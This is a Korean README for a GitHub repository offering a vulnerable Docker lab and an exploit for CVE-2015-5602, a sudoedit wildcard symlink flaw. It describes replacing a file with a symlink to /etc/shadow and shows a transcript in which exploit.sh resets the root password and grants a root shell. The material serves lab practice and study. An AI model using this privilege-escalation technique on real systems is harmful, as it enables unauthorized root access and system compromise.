t0kx/privesc-cve-2015-5602Sudo <= 1.8.14 로컬 권한 상승 및 취약한 컨테이너
Sudo (su "do")는 시스템 관리자가 특정 사용자(또는 사용자 그룹)에게 모든 명령과 인수를 기록하면서 일부(또는 모든) 명령을 루트로 실행할 수 있는 권한을 부여할 수 있게 해줍니다.
테스트를 위해 취약한 환경을 설정하려면 Docker가 설치되어 있어야 하며, 다음 명령을 실행하면 됩니다:
docker build -t privesc/cve-2015-5602 .
docker run --rm -it privesc/cve-2015-5602
그러면 낮은 사용자 권한을 가진 대화형 셸이 실행됩니다.
이 버그는 sudoedit에서 발견되었으며, 와일드카드가 두 번 사용될 경우(예: /home/*/*/esc.txt) 전체 경로를 확인하지 않습니다. 이로 인해 악의적인 사용자가 esc.txt 실제 파일을 다른 위치(예: /etc/shadow)에 대한 심볼릭 링크로 대체할 수 있습니다.
이 문제를 성공적으로 악용하면 공격자가 파일을 조작하고 심볼릭 링크 공격을 통해 호스트 시스템에서 루트 권한을 얻을 수 있습니다.
이 대상을 익스플로잇하려면 다음을 실행하세요:
./exploit.sh
이 취약한 이미지를 사용하는 경우 다음을 실행하면 됩니다:
user@1cc9cd901b07:~$ sudo -l
User user may run the following commands on 1cc9cd901b07:
(root) NOPASSWD: sudoedit /home/*/*/esc.txt
user@1cc9cd901b07:~$ ./exploit.sh
[+] CVE-2015-5602 exploit by t0kx
[+] Creating folder...
[+] Creating symlink
[+] Modify EDITOR...
[+] Change root password to: d03c09dc34c53657aff1f459a86b20ed
[+] Done
user@1cc9cd901b07:~$ su
Password:
root@1cc9cd901b07:/home/user# id
uid=0(root) gid=0(root) groups=0(root)
root@1cc9cd901b07:/home/user#
이 결함은 Daniel Svartman이 발견했습니다.
이 프로그램 및 이전 프로그램은 교육 목적으로 만 사용됩니다. 허가 없이 사용하지 마십시오. 일반적인 면책 조항이 적용되며, 특히 저(t0kx)는 이 프로그램이 제공하는 정보나 기능의 직접적 또는 간접적 사용으로 인해 발생하는 모든 손해에 대해 책임을 지지 않습니다. 저자 또는 인터넷 제공자는 이 프로그램 또는 그 파생물의 콘텐츠나 오용에 대해 전혀 책임을 지지 않습니다. 이 프로그램을 사용함으로써 귀하는 이 프로그램 사용으로 인한 모든 손해(데이터 손실, 시스템 충돌, 시스템 침해 등)가 t0kx의 책임이 아님을 인정합니다.